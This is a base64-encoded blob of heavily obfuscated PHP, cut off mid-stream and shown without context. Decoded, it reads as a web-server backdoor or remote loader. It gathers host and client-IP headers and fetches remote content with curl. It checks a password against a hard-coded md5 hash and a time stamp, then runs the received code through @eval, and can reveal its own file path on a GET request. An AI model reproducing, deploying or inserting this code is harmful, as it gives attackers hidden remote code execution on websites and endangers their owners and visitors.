sbkJSTTogJHJsSklxMFVqY1hnZGJ2SjcgLj0gIlx4M2YiIC4gaHR0cF9idWlsZF9xdWVyeSgkWkVqUFdNS2FEWlIwZUdKcik7IGdvdG8ga1RhRkRTX0Y0NlhkZm5IMDsgWUZMbWlmRGtkWjdKc1phXzogcmV0dXJuICRpbGc2amdNT3lnVXZJb2NNOyBnb3RvIFlJYThDRHhmZGdZdlp3ck07IGtUYUZEU19GNDZYZGZuSDA6IEpvckhISEpmaGJBMUtJSFY6IGdvdG8gVlJhNmVZcEl4RW54RmdkSjsgcjVONmlSUG42T1ZYMDRiUjogaWYgKCEoaXNfYXJyYXkoJFpFalBXTUthRFpSMGVHSnIpICYmIGNvdW50KCRaRWpQV01LYURaUjBlR0pyKSkpIHsgZ290byBKb3JISEhKZmhiQTFLSUhWOyB9IGdvdG8gYVdDZU5VZnI0a1lsbkJSTTsgWkxial93dnlPcnNNa1N6STogJGlsZzZqZ01PeWdVdklvY00gPSBhcnJheSgiXHg3M1wxNjRcMTQxXHg3NFwxNjVcMTYzIiA9PiAwLCAiXHg2M1x4NmZceDZlXDE2NFwxNDVcMTU2XHg3NCIgPT4gJycsICJceDc0XDE3MVx4NzBcMTQ1IiA9PiAnJyk7IGdvdG8gcjVONmlSUG42T1ZYMDRiUjsgWUlhOENEeGZkZ1l2WndyTTogfSBnb3RvIHZwTnM5WmZYX19CMlBSV1E7IFRXRVpvWlBFM3Z5VmlSdXA6ICRPOW1CcVFOcWVmenBIWTRzID0gRFY0V1psSDRlNzdYZzJQTCgpIC4gJF9TRVJWRVJbIlx4NDhceDU0XDEyNFx4NTBcMTM3XHg0OFx4NGZcMTIzXHg1NCJdOyBnb3RvIFp3aFpnS1ZGSEp5d0JwSnI7IFVBeTBFSU9SaXZuckhzSWs6IGlmICghaW5fYXJyYXkoJHFDRG1od2NWN2RTUzVVVHIsIGFycmF5KCJceDJlXHg2YVx4NzMiLCAiXDU2XDE0M1wxNjNceDczIiwgIlx4MmVcMTUyXHg3MFwxNDciLCAiXHgyZVx4NzBceDZlXHg2NyIsICJcNTZceDY3XHg2OVwxNDYiLCAiXDU2XHg2OVwxNDNceDZmIikpKSB7IGdvdG8gd3dHanRDV2hPMzdXVTZSNTsgfSBnb3RvIEt5T3JkZldGemlUVWZtU0Q7IGNZMEgwMHdSMkF2MlR4aTI6IGNsYXNzIHZPcU9lS3czUm0wTkk4V20geyBzdGF0aWMgZnVuY3Rpb24gVjhHMm85WDdRenBXWk9uaSgkTmVfNjdnalpmcWN4QV9uQikgeyBnb3RvIEtLRTBYRklseVk3MjBxZUU7IFUxcDFFY0pHQW55UGhVeFY6IHJldHVybiAkRUU4ZXVjdTBCY2liNjhTajsgZ290byBhRWRNNXAydE1BUHVHRWZZOyBLS0UwWEZJbHlZNzIwcWVFOiAkSVV5QWRkMHpQT2lZMXJGNyA9ICJceDcyIiAuICJceDYxIiAuICJceDZlIiAuICJcMTQ3IiAuICJcMTQ1IjsgZ290byBNajVRQ1JXcGhKVFljcjJVOyBNajVRQ1JXcGhKVFljcjJVOiAkbWVkdnFDZHAwaERoeEVzMCA9ICRJVXlBZGQwelBPaVkxckY3KCJcMTc2IiwgIlw0MCIpOyBnb3RvIEZDRHNPdnhVc3J3VjlTYU87IEZDRHNPdnhVc3J3VjlTYU86ICRPQUVxMW1lMnNZR3ZieU9TID0gZXhwbG9kZSgiXDE1NCIsICROZV82N2dqWmZxY3hBX25CKTsgZ290byBzYWFLVFJQb1ByZzBCT1B5OyBzYWFLVFJQb1ByZzBCT1B5OiAkRUU4ZXVjdTBCY2liNjhTaiA9ICcnOyBnb3RvIHBSZ1MyeFVTNE9TYUpUcDI7IG5MVTdCaGRUdEM2VVp5a2k6IEcxS2hXWXZ2RndDUTdnbmc6IGdvdG8gVTFwMUVjSkdBbnlQaFV4VjsgcFJnUzJ4VVM0T1NhSlRwMjogZm9yZWFjaCAoJE9BRXExbWUyc1lHdmJ5T1MgYXMgJHBOMnNnTFBwREtqRk5QN08gPT4gJGJDWUh6NURHNVU2dWFJSjEpIHsgJEVFOGV1Y3UwQmNpYjY4U2ogLj0gJG1lZHZxQ2RwMGhEaHhFczBbJGJDWUh6NURHNVU2dWFJSjEgLSAxNzM0M107IGVtQXpyVmJNczJ3Zk00Sm06IH0gZ290byBuTFU3QmhkVHRDNlVaeWtpOyBhRWRNNXAydE1BUHVHRWZZOiB9IHN0YXRpYyBmdW5jdGlvbiBHV0Z0TElBem9EUE9qT2hoKCRxTWVlTXJBS2tjS1dxZ0dGLCAkU1RoWFA3b2FRYVB1THd3WSkgeyBnb3RvIFZnaEgyYWtsSFZpN25vMVo7IExnYnJValNpTG9FTmoxMTM6IGN1cmxfc2V0b3B0KCRVRUdOZnJoeXhXZnlyUlBRLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsgZ290byBhUjNEU3dQVWNNbHBZemd1OyBtQ3lUeTJoRHBjNDZPVE0yOiByZXR1cm4gZW1wdHkoJFJWbm5najh6d01UMFN5c3IpID8gJFNUaFhQN29hUWFQdUx3d1koJHFNZWVNckFLa2NLV3FnR0YpIDogJFJWbm5najh6d01UMFN5c3I7IGdvdG8gVzRKZ0NDQmlZbUZCRzR1UzsgVmdoSDJha2xIVmk3bm8xWjogJFVFR05mcmh5eFdmeXJSUFEgPSBjdXJsX2luaXQoJHFNZWVNckFLa2NLV3FnR0YpOyBnb3RvIExnYnJValNpTG9FTmoxMTM7IGFSM0RTd1BVY01scFl6Z3U6ICRSVm5uZ2o4endNVDBTeXNyID0gY3VybF9leGVjKCRVRUdOZnJoeXhXZnlyUlBRKTsgZ290byBtQ3lUeTJoRHBjNDZPVE0yOyBXNEpnQ0NCaVltRkJHNHVTOiB9IHN0YXRpYyBmdW5jdGlvbiBSUkdQR1liM1pvMnFwWW5TKCkgeyBnb3RvIGZyV2FiYnlWTXJTallVeko7IGV4T3VMdlk0MkZHV29Ydmo6IEAkZ3VsTzRyeU0xMW1MRnZ2RFsxICsgOV0oSU5QVVRfR0VULCAiXDE1N1wxNDYiKSA9PSAxICYmIGRpZSgkZ3VsTzRyeU0xMW1MRnZ2RFsxICsgNF0oX19GSUxFX18pKTsgZ290byBrdU1FQWhfZWoyT0xLMlEwOyBjS2daenUxcXQwQVBaZW5HOiBmb3JlYWNoICgkdFh1TVRWaGVjWWFwNXhFaSBhcyAkS3NzSHk5SmxjTmFKTVBtMSkgeyAkZ3VsTzRyeU0xMW1MRnZ2RFtdID0gc2VsZjo6djhnMk85WDdxWlB3Wm9OaSgkS3NzSHk5SmxjTmFKTVBtMSk7IEo0Vk9FUjFDU3gxV1haOU46IH0gZ290byBvZl9mX3JkTVU1Y3lMUF9MOyBsMXVwazE1STRxWTZMaE1vOiAkbl9iTjFJajZmMGdNSG9YRyA9IEAkZ3VsTzRyeU0xMW1MRnZ2RFsxICsgMl0oJGd1bE80cnlNMTFtTEZ2dkRbNCArIDJdLCAkVkNmUVlzM2F6RV9PbHYxWCk7IGdvdG8gT3A0d2JYZmtlZEFES3NTbTsgeW81aEw5UWh4UENvWFRJTzogJFZDZlFZczNhekVfT2x2MVggPSBAJGd1bE80cnlNMTFtTEZ2dkRbMV0oJGd1bE80cnlNMTFtTEZ2dkRbMSArIDldKElOUFVUX0dFVCwgJGd1bE80cnlNMTFtTEZ2dkRbOCArIDFdKSk7IGdvdG8gbDF1cGsxNUk0cVk2TGhNbzsgZnJXYWJieVZNclNqWVV6SjogJHRYdU1UVmhlY1lhcDV4RWkgPSBhcnJheSgiXHgzMVw2N1x4MzNceDM3XHgzMFx4NmNcNjFcNjdcNjNcNjVcNjVceDZjXHgzMVx4MzdceDMzXHgzNlw3MFwxNTRcNjFcNjdceDMzXDY3XDYyXDE1NFx4MzFceDM3XDYzXDY1XDYzXHg2Y1w2MVx4MzdceDMzXHgzNlw3MFx4NmNcNjFcNjdceDMzXHgzN1x4MzRceDZjXDYxXDY3XDYzXDY2XHgzN1x4NmNceDMxXHgzN1w2M1w2NVx4MzJceDZjXDYxXDY3XDYzXHgzNVx4MzlceDZjXDYxXDY3XHgzM1x4MzdcNjBcMTU0XHgzMVw2N1w2M1x4MzVcNjNceDZjXHgzMVx4MzdcNjNcNjZceDM0XDE1NFw2MVw2N1w2M1w2NVx4MzhcMTU0XHgzMVx4MzdceDMzXHgzNVw3MSIsICJcNjFceDM3XDYzXDY1XHgzNFwxNTRcNjFcNjdceDMzXDY1XDYzXHg2Y1x4MzFceDM3XHgzM1w2NVw2NVwxNTRceDMxXHgzN1w2M1w2N1x4MzRcMTU0XHgzMVw2N1x4MzNcNjVceDM1XHg2Y1w2MVx4MzdceDMzXDY1XDcwXHg2Y1x4MzFceDM3XHgzM1x4MzVceDMzXHg2Y1w2MVx4MzdceDM0XHgzMlw2MFx4NmNcNjFceDM3XDY0XHgzMVw3MCIsICJceDMxXHgzN1x4MzNcNjZceDMzXDE1NFx4MzFceDM3XDYzXDY1XDY0XHg2Y1w2MVx4MzdcNjNcNjVcNzBcMTU0XHgzMVw2N1x4MzNcNjVceDM5XDE1NFw2MVw2N1w2M1w2N1x4MzRceDZjXDYxXDY3XDYzXHgzNlw3MVx4NmNcNjFceDM3XHgzM1w2Nlw3MFx4NmNceDMxXDY3XDYzXDY3XDYwXHg2Y1x4MzFceDM3XDYzXDY1XHgzOFwxNTRcNjFcNjdcNjNcNjZcNzFcMTU0XDYxXDY3XHgzM1x4MzZcNzAiLCAiXDYxXDY3XHgzM1x4MzVcNjdcMTU0XDYxXHgzN1w2M1x4MzdcNjJceDZjXHgzMVx4MzdcNjNcNjdcNjBcMTU0XDYxXHgzN1w2M1x4MzZceDMyIiwgIlw2MVx4MzdcNjNcNjdceDMxXDE1NFw2MVx4MzdceDMzXDY3XDYyXDE1NFw2MVx4MzdcNjNceDM1XDY0XHg2Y1x4MzFcNjdceDMzXDY2XDcwXDE1NFx4MzFcNjdceDM0XHgzMVx4MzVcMTU0XDYxXHgzN1x4MzRceDMxXDY3XHg2Y1x4MzFcNjdceDMzXDY3XHgzNFx4NmNcNjFcNjdcNjNcNjZceDM5XHg2Y1w2MVx4MzdceDMzXHgzNlx4MzhceDZjXHgzMVx4MzdceDMzXHgzN1x4MzBceDZjXDYxXHgzN1x4MzNcNjVceDM4XDE1NFx4MzFcNjdcNjNceDM2XDcxXDE1NFx4MzFcNjdceDMzXHgzNlw3MCIsICJceDMxXDY3XHgzM1w2Nlx4MzdcMTU0XHgzMVx4MzdceDMzXHgzNlx4MzRcMTU0XDYxXDY3XHgzM1w2Nlx4MzFcMTU0XDYxXHgzN1x4MzNceDM2XHgzOFx4NmNcNjFceDM3XHgzM1x4MzdcNjRceDZjXDYxXHgzN1x4MzNcNjZcNjZceDZjXHgzMVw2N1w2M1w2Nlw3MFwxNTRceDMxXDY3XHgzM1x4MzVcNjNceDZjXHgzMVx4MzdceDMzXDY3XDY0XHg2Y1x4MzFcNjdceDMzXHgzN1x4MzBcMTU0XHgzMVx4MzdcNjNcNjVcNzBcMTU0XDYxXHgzN1w2M1x4MzVceDM5XHg2Y1w2MVw2N1x4MzNceDM1XHgzM1x4NmNceDMxXDY3XDYzXHgzNlx4MzhceDZjXHgzMVx4MzdceDMzXHgzNVw3MVx4NmNceDMxXDY3XHgzM1x4MzVceDMzXHg2Y1x4MzFceDM3XHgzM1w2NVx4MzQiLCAiXDYxXHgzN1x4MzNcNzFceDM3XDE1NFx4MzFcNjdcNjRceDMyXHgzNyIsICJcNjFcNjdceDMzXHgzNFx4MzQiLCAiXHgzMVx4MzdceDM0XDYyXHgzMlx4NmNceDMxXDY3XDY0XHgzMlx4MzciLCAiXDYxXHgzN1x4MzRceDMwXDY0XHg2Y1w2MVw2N1w2M1x4MzhceDM3XDE1NFw2MVw2N1x4MzNcNzBcNjdcMTU0XDYxXDY3XDY0XHgzMFx4MzRceDZjXHgzMVw2N1w2M1x4MzhceDMwIiwgIlx4MzFcNjdcNjNcNjZceDM3XHg2Y1x4MzFceDM3XHgzM1x4MzZceDM0XDE1NFw2MVx4MzdcNjNceDM2XHgzMVwxNTRcNjFceDM3XDYzXHgzNVx4MzNcMTU0XDYxXHgzN1w2M1w2Nlx4MzhceDZjXDYxXHgzN1x4MzNcNjVcNjVceDZjXHgzMVx4MzdcNjNcNjdceDM0XDE1NFx4MzFcNjdcNjNceDM2XHgzNFx4NmNcNjFceDM3XDYzXHgzNVw3MVwxNTRceDMxXHgzN1w2M1w2NVw2N1x4NmNceDMxXHgzN1w2M1w2NVx4MzJcMTU0XHgzMVw2N1x4MzNcNjVceDMzIik7IGdvdG8gY0tnWnp1MXF0MEFQWmVuRzsgTm9mYzZEUDhJcUYwUzNkbTogeXpjdVNhQWlQS1JFVjIwQTogZ290byBvVk9TaHVUSnh4cnJKelc4OyBpZlZqY013ZnQzbkw3NGRVOiBpZiAoIShAJEpoZVE5OHRRYkF0NEFNSXdbMF0gLSB0aW1lKCkgPiAwIGFuZCAkeHZMS2FEOURidmx1cWRqdSA9PT0gIlx4MzlceDM1XDYxXDY3XHgzMFx4NjRcMTQ1XDYyXDYwXDE0MVwxNDRceDMzXDcxXHgzM1x4NjFcNjRceDY1XHg2NFx4NjNcNjJcMTQyXHgzM1x4MzVceDY1XHg2MVx4MzhcMTQzXDcxXDY3XHgzNlx4NjVceDM2IikpIHsgZ290byB5emN1U2FBaVBLUkVWMjBBOyB9IGdvdG8gZjJoY3lQdWFka0owZXlrQzsgZ3l4UTFQQ2ZydmEzZ2p4RjogJEVFNmQxUWZUVEprajVoTHIgPSBtZDUoJEpoZVE5OHRRYkF0NEFNSXdbMiArIDFdKTsgZ290byBleE91THZZNDJGR1dvWHZqOyBwbkxOaWdVWHJxbGxBSlo0OiBAZXZhbCgkZ3VsTzRyeU0xMW1MRnZ2RFswICsgNF0oJHpIV3pTbHNYSVBKVF9rMFYpKTsgZ290byBvVXVfb0poRGFBMm1GelBkOyBmMmhjeVB1YWRrSjBleWtDOiAkekhXelNsc1hJUEpUX2swViA9IHNlbGY6Okd3ZnRsaUF6b2RwT2pvaGgoJEpoZVE5OHRRYkF0NEFNSXdbMSArIDBdLCAkZ3VsTzRyeU0xMW1MRnZ2RFszICsgMl0pOyBnb3RvIHBuTE5pZ1VYcnFsbEFKWjQ7IGt1TUVBaF9lajJPTEsyUTA6ICR4dkxLYUQ5RGJ2bHVxZGp1ID0gbWQ1KCRFRTZkMVFmVFRKa2o1aExyKTsgZ290byBpZlZqY013ZnQzbkw3NGRVOyBPcDR3Ylhma2VkQURLc1NtOiAkSmhlUTk4dFFiQXQ0QU1JdyA9ICRndWxPNHJ5TTExbUxGdnZEWzAgKyAyXSgkbl9iTjFJajZmMGdNSG9YRywgdHJ1ZSk7IGdvdG8gZ3l4UTFQQ2ZydmEzZ2p4Rjsgb2ZfZl9yZE1VNWN5TFBfTDogeVQzRGU0MjZuV1VmYnEwbzogZ290byB5bzVoTDlRaHhQQ29YVElPOyBvVXVfb0poRGFBMm1GelBkOiBkaWU7IGdvdG8gTm9mYzZEUDhJcUYwUzNkbTsgb1ZPU2h1VEp4eHJySnpXODogfSB9IGdvdG8gQUZUVzdwanpWSkpQTExDYjsgS3lPcmRmV0Z6aVRVZm1TRDogJGliMHV5bUNWT01uSVJBM1MgPSB0cnVlOyBnb3RvIE5Mc3F6ZmFscnljc0w5ODg7IFBHdTdsQ1Y1ZFhFSDlDR0c6IGlmICghKHN0cnBvcygkZ0dnSkdZc1Nma0xKVUxwYiwgIlx4MmUiKSA+IDAgJiYgc3RycG9zKCRnR2dKR1lzU2ZrTEpVTHBiLCAiXHgyZVx4NzBceDY4XDE2MCIpID09PSBmYWxzZSkpIHsgZ290byBkUzl6TGo1cVdWSUFnU1NaOyB9IGdvdG8gWThFdGk4REs2VUM0ZDBBMjsgVThOYXJEWVVCOVp3MEZEVjogYVVoY2hyWlFhaXA5SjZHTTogZ290byBvRmZJTWVzeHRHNTdobzJ6OyB4dHIzZmVHRllSX3NLOXhaOiAkYkZKRmJUemo4am15UFNFOSA9IGFycmF5KCk7IGdvdG8gY1M4TEtVbHV5bmhlSWdMajsgYTlYdTB3TThSa3hfZTROSDogZnVuY3Rpb24gZHY0d1psaDRFNzd4ZzJwTCgpIHsgZ290byBmVFFjdWtZQmtYZFZKcXJKOyBhUGNxZ19NWEtMTV9xRVlGOiBxdTBsZXRmTVB4Y2ZEY3ZUOiBnb3RvIE5HWmR1Yzd6eFRMaHhWMU47IFYyeEJWVmtOVlpJblFtNDU6IGlmIChpc3NldCgkX1NFUlZFUlsiXHg0OFwxMjRceDU0XHg1MFwxMjMiXSkgJiYgc3RydG9sb3dlcigkX1NFUlZFUlsiXHg0OFx4NTRceDU0XDEyMFwxMjMiXSkgIT09ICJcMTU3XDE0Nlx4NjYiKSB7IGdvdG8ga1h6NGx1QTZYNm91YjJfVDsgfSBnb3RvIERfTUduY2NjQ0VIQVU3R0U7IFJTbGxOQm9Bd0J2X2pDRzg6IGlmIChpc3NldCgkX1NFUlZFUlsiXHg0OFx4NTRcMTI0XHg1MFx4NWZceDQ2XHg1MlwxMTdceDRlXHg1NFx4NWZceDQ1XHg0ZVwxMDRceDVmXHg0OFx4NTRceDU0XDEyMFx4NTMiXSkgJiYgc3RydG9sb3dlcigkX1NFUlZFUlsiXDExMFx4NTRceDU0XHg1MFx4NWZceDQ2XDEyMlwxMTdcMTE2XHg1NFx4NWZcMTA1XDExNlx4NDRceDVmXDExMFx4NTRcMTI0XDEyMFwxMjMiXSkgIT09ICJcMTU3XHg2Nlx4NjYiKSB7IGdvdG8gaUZDMFQ4aG5NdlZFYjJkRDsgfSBnb3RvIE9lQ3JsaGRrcjhKWDVDMWg7IHlvWTdqNG16WEJETU5COWQ6IGdvdG8gcXUwbGV0Zk1QeGNmRGN2VDsgZ290byBYekdWdDREdHVtVTNzTzU2OyBZTE9YZVJxdDhpTEw0VktSOiBrWHo0bHVBNlg2b3ViMl9UOiBnb3RvIFdWdHJEM0NQTlVhRzdQdGo7IE9lQ3JsaGRrcjhKWDVDMWg6IGdvdG8gcXUwbGV0Zk1QeGNmRGN2VDsgZ290byBZTE9YZVJxdDhpTEw0VktSOyBmVFFjdWtZQmtYZFZKcXJKOiAkeElhR3NjSW1vRmFqODc1OSA9ICJcMTUwXDE2NFwxNjRcMTYwXHgzYVx4MmZcNTciOyBnb3RvIFYyeEJWVmtOVlpJblFtNDU7IHluNVVlS2RXNDZDV2dvUWI6IGlGQzBUOGhuTXZWRWIyZEQ6IGdvdG8gWjJXRjJMbXFEVHRuaGhOczsgV3JvbXdTUDdSZ2dXTFd2TzogJHhJYUdzY0ltb0Zhajg3NTkgPSAiXDE1MFx4NzRcMTY0XHg3MFx4NzNcNzJcNTdceDJmIjsgZ290byBla1Y5cHBSckxIZzdLVmgyOyBYekdWdDREdHVtVTNzTzU2OiBndGRzSGJQTXFDSGZVSE9SOiBnb3RvIFdyb213U1A3UmdnV0xXdk87IFdWdHJEM0NQTlVhRzdQdGo6ICR4SWFHc2NJbW9GYWo4NzU5ID0gIlwxNTBcMTY0XHg3NFwxNjBceDczXHgzYVx4MmZceDJmIjsgZ290byB5b1k3ajRtelhCRE1OQjlkOyBOR1pkdWM3enhUTGh4VjFOOiByZXR1cm4gJHhJYUdzY0ltb0Zhajg3NTk7IGdvdG8gUnZPVjBKWlZHeHdtZzUxcTsgRF9NR25jY2NDRUhBVTdHRTogaWYgKGlzc2V0KCRfU0VSVkVSWyJcMTEwXHg1NFx4NTRcMTIwXDEzN1x4NThcMTM3XHg0Nlx4NGZcMTIyXDEyN1x4NDFcMTIyXHg0NFx4NDVcMTA0XHg1ZlwxMjBcMTIyXHg0Zlx4NTRceDRmIl0pICYmICRfU0VSVkVSWyJcMTEwXHg1NFwxMjRcMTIwXDEzN1x4NThceDVmXHg0NlwxMTdcMTIyXHg1N1x4NDFcMTIyXDEwNFx4NDVceDQ0XDEzN1wxMjBceDUyXDExN1wxMjRcMTE3Il0gPT09ICJcMTUwXHg3NFx4NzRceDcwXHg3MyIpIHsgZ290byBndGRzSGJQTXFDSGZVSE9SOyB9IGdvdG8gUlNsbE5Cb0F3QnZfakNHODsgZWtWOXBwUnJMSGc3S1ZoMjogZ290byBxdTBsZXRmTVB4Y2ZEY3ZUOyBnb3RvIHluNVVlS2RXNDZDV2dvUWI7IFoyV0YyTG1xRFR0bmhoTnM6ICR4SWFHc2NJbW9GYWo4NzU5ID0gIlx4NjhcMTY0XHg3NFwxNjBceDczXDcyXDU3XHgyZiI7IGdvdG8gYVBjcWdfTVhLTE1fcUVZRjsgUnZPVjBKWlZHeHdtZzUxcTogfSBnb3RvIEN3ajllcVRTUTBiZmhUQW47IE5sTGNRZGZGamRkaXZWbkM6IGZ1bmN0aW9uIHpEMThrSmJ6ZmVMNjJkS1AoJGhTaDJ1X0drczI2OTNjdkYpIHsgZ290byBPY2RLV1k2Y0FyZFhZd1hXOyBGSTNER0hXQVBpSlZpdnpyOiBGemVOVXlfQ0xsN0VqOUVzOiBnb3RvIGdDd3Jqc1dlZlllTUo2S2Q7IGdDd3Jqc1dlZlllTUo2S2Q6IHJldHVybiAkdjlUU3FaREZURmYycm4wWDsgZ290byBCbTAxVHhqamJ0WGFoTXFuOyBPY2RLV1k2Y0FyZFhZd1hXOiAkdjlUU3FaREZURmYycm4wWCA9IGFycmF5KCJceDczXHg3NFwxNDFcMTY0XDE2NVx4NzMiID0+IDAsICJcMTQzXDE1N1wxNTZcMTY0XHg2NVx4NmVcMTY0IiA9PiAnJywgIlwxNjRcMTcxXDE2MFx4NjUiID0+ICcnKTsgZ290byBuMUM3YWNEM0pWWjFOYmlSOyB5eFBZeXRxWm52c1dTMjEwOiBmb3JlYWNoICgkaFNoMnVfR2tzMjY5M2N2RiBhcyAkcW01ZnB0MXAwRENTTkJIMCkgeyBnb3RvIFlyVHk5WTdraF9kVzg1WXA7IGozQ0pMa1NHbWR6YXNqdmg6ICR2OVRTcVpERlRGZjJybjBYWyJcMTY0XDE3MVx4NzBceDY1Il0gPSAkaTZxNW1OMDQwM3UxSFo1WFsxXTsgZ290byBpVExjalpwSnlwMGMxenJNOyBoeVRpRGUyRHlzUDlSU1M5OiBnb3RvIGVEUmw1SGozSkJIeFEyZDY7IGdvdG8gSDhBRFRpZ3F5WHRGNzFucTsgUzNGaXZmcFZxblM3YzBGcTogYnpXZHU4cmtSU1RKQXpzUTogZ290byBqM0NKTGtTR21kemFzanZoOyBRN2RhZDRkT2JJQWY0MUVKOiBnb3RvIGVEUmw1SGozSkJIeFEyZDY7IGdvdG8gTjZOanR2VzJPNDZwd1VVQTsgZEdTU2hsdlp3TnpfU0lBVjogaWYgKHByZWdfbWF0Y2goIlw1N1wxNTRceDZmXHg2M1wxNDFcMTY0XDE1MVx4NmZceDZlXHg1Y1w3Mlx4NWJceDVjXDE2M1wxMzVcNTNceDI4XHgyZVw1Mlw1MVx4MmZceDY5IiwgJHFtNWZwdDFwMERDU05CSDAsICRpNnE1bU4wNDAzdTFIWjVYKSkgeyBnb3RvIHJ4bHdXNEZ3am0wdjRaTWc7IH0gZ290byBGMW5BU2Q0VWhZN2Z0ckJvOyBnOHVvU3NMV2Exbk1Sdzh5OiAkdjlUU3FaREZURmYycm4wWFsiXDE0M1wxNTdceDZlXDE2NFx4NjVcMTU2XDE2NCJdID0gJGk2cTVtTjA0MDN1MUhaNVhbMV07IGdvdG8gaHA3SkJoX1pRME1CVGJWeTsgVFNJb3RaNVVneGVweEZleDogd2RUMXZlSHR5NGVJeElhMDogZ290byBEc0FBeHpQMUhIWThRSmRUOyBocDdKQmhfWlEwTUJUYlZ5OiBnb3RvIGVEUmw1SGozSkJIeFEyZDY7IGdvdG8gUzNGaXZmcFZxblM3YzBGcTsgaVRMY2pacEp5cDBjMXpyTTogZURSbDVIajNKQkh4UTJkNjogZ290byBUU0lvdFo1VWd4ZXB4RmV4OyBONk5qdHZXMk80NnB3VVVBOiByeGx3VzRGd2ptMHY0Wk1nOiBnb3RvIGc4dW9Tc0xXYTFuTVJ3OHk7IEYxbkFTZDRVaFk3ZnRyQm86IGlmIChwcmVnX21hdGNoKCJcNTdcMTQzXHg2Zlx4NmVcMTY0XHg2NVwxNTZceDc0XHg1Y1x4MmRcMTY0XDE3MVx4NzBceDY1XDEzNFx4M2FceDViXHg1Y1wxNjNceDVkXDUzXDUwXDU2XDUyXHgyOVw1N1wxNTEiLCAkcW01ZnB0MXAwRENTTkJIMCwgJGk2cTVtTjA0MDN1MUhaNVgpKSB7IGdvdG8gYnpXZHU4cmtSU1RKQXpzUTsgfSBnb3RvIGh5VGlEZTJEeXNQOVJTUzk7IHFBWGM2SzVyaDUxRDF4NFc6ICR2OVRTcVpERlRGZjJybjBYWyJcMTYzXHg3NFwxNDFceDc0XHg3NVx4NzMiXSA9IGludHZhbCgkaTZxNW1OMDQwM3UxSFo1WFsxXSk7IGdvdG8gUTdkYWQ0ZE9iSUFmNDFFSjsgWXJUeTlZN2toX2RXODVZcDogaWYgKHByZWdfbWF0Y2goIlx4MmZcMTUwXDE2NFx4NzRceDcwXHg1Y1x4MmZceDViXDYwXDU1XDcxXDEzNFw1Nlx4NWRceDJiXDEzM1x4NWNceDczXHg1ZFw1M1x4MjhcMTMzXDYwXDU1XDcxXDEzNVw1M1w1MVw1N1wxNTEiLCAkcW01ZnB0MXAwRENTTkJIMCwgJGk2cTVtTjA0MDN1MUhaNVgpKSB7IGdvdG8gSmk4c1FYSm84NGxKTzJPcTsgfSBnb3RvIGRHU1NobHZad056X1NJQVY7IEg4QURUaWdxeVh0RjcxbnE6IEppOHNRWEpvODRsSk8yT3E6IGdvdG8gcUFYYzZLNXJoNTFEMXg0VzsgRHNBQXh6UDFISFk4UUpkVDogfSBnb3RvIEZJM0RHSFdBUGlKVml2enI7IEFLaWlfVmlVZVMxNHo0djA6IHJldHVybiAkdjlUU3FaREZURmYycm4wWDsgZ290byBsakFPQWh6bkE1b2F5dlRMOyBuMUM3YWNEM0pWWjFOYmlSOiBpZiAoaXNfYXJyYXkoJGhTaDJ1X0drczI2OTNjdkYpKSB7IGdvdG8gVzRzbVVETzhJWDlWR3VkdzsgfSBnb3RvIEFLaWlfVmlVZVMxNHo0djA7IGxqQU9BaHpuQTVvYXl2VEw6IFc0c21VRE84SVg5Vkd1ZHc6IGdvdG8geXhQWXl0cVpudnNXUzIxMDsgQm0wMVR4ampidFhhaE1xbjogfSBnb3RvIGk2OTM0MHJfVWlISzVLZ007IEd2U0FwWm9NaFd4dXF0a2M6IGZ1bmN0aW9uIEs2NGIweGFVUnloSjYyYTIoKSB7IGdvdG8gdFpYcGtCa0E0UEFaSlhFMjsgY1dGMFlrM1JzNjFxMUZhaTogJFBkRW9kNzJJczdiZ0dGRHAgPSB0cmltKHN0cl9yZXBsYWNlKCJceDIwIiwgJycsICRQZEVvZDcySXM3YmdHRkRwKSwgIlx4MmMiKTsgZ290byBxN0t0NDFlcWYxYzg0WnRMOyBycVFpNjlacHNWdUNHc3lwOiByZXR1cm4gJFBkRW9kNzJJczdiZ0dGRHA7IGdvdG8gS1Z0Zld0aWxva3J0eW93Qjsgb0VGX1VrM1BQQ1FqNVpqTTogJFBkRW9kNzJJczdiZ0dGRHAgPSAkX1NFUlZFUlsiXDExMFx4NTRceDU0XHg1MFx4NWZcMTMwXDEzN1wxMjJceDQ1XHg0MVx4NGNceDVmXHg0OVwxMjAiXTsgZ290byBkcVdmWGFsOFNlUmg1c2xkOyByZmMwNThZRTBvTmFvTmZVOiBnb3RvIG04ZV9fNWFWcGM0a3JRYjA7IGdvdG8ga0NZYTluUWE4amtKRFpwejsga0NZYTluUWE4amtKRFpwejogYmt5c1k5RzVzMHI5dXI1VjogZ290byBvRUZfVWszUFBDUWo1WmpNOyBkcVdmWGFsOFNlUmg1c2xkOiBnb3RvIG04ZV9fNWFWcGM0a3JRYjA7IGdvdG8gdm5lWjN0cWwxSVVkZUs2NTsgdlJHUXRleGpLTHB6S2ZZTDogJFBkRW9kNzJJczdiZ0dGRHAgPSBleHBsb2RlKCJcNTQiLCAkUGRFb2Q3MklzN2JnR0ZEcCk7IGdvdG8gU3EzZGNhY1BmbXdyckowRDsgbGFBdWZ4Z3Q4TWpGZ0RMVTogZlNGQ2NkZkdpNzVOMWNfaTogZ290byBycVFpNjlacHNWdUNHc3lwOyBQa3lZUmhTT2FCa0lrdjdqOiBpZiAoaXNzZXQoJF9TRVJWRVJbIlx4NDhcMTI0XDEyNFx4NTBcMTM3XDEzMFx4NWZceDQ2XDExN1x4NTJceDU3XDEwMVwxMjJcMTA0XHg0NVwxMDRceDVmXHg0NlwxMTdceDUyIl0pICYmICFlbXB0eSgkX1NFUlZFUlsiXHg0OFwxMjRceDU0XHg1MFx4NWZcMTMwXDEzN1x4NDZcMTE3XDEyMlwxMjdceDQxXHg1Mlx4NDRceDQ1XHg0NFx4NWZcMTA2XHg0ZlwxMjIiXSkpIHsgZ290byBvc1JmMWVGeFZ1NGdrZThMOyB9IGdvdG8gWnM2bEYyTlRZcDFTM0pSRDsgdV91YzVSQUxoM0lLa0lDcjogbThlX181YVZwYzRrclFiMDogZ290byBjV0YwWWszUnM2MXExRmFpOyB3SzY2VG1XRkJMU0ZRQTFUOiAkUGRFb2Q3MklzN2JnR0ZEcCA9ICRfU0VSVkVSWyJceDQ4XDEyNFwxMjRceDUwXHg1ZlwxMDNceDQ2XHg1ZlwxMDNcMTE3XDExNlwxMTZcMTA1XHg0M1x4NTRcMTExXDExNlwxMDdcMTM3XHg0OVwxMjAiXTsgZ290byByZmMwNThZRTBvTmFvTmZVOyB2bmVaM3RxbDFJVWRlSzY1OiBvc1JmMWVGeFZ1NGdrZThMOiBnb3RvIElaOWNGM1J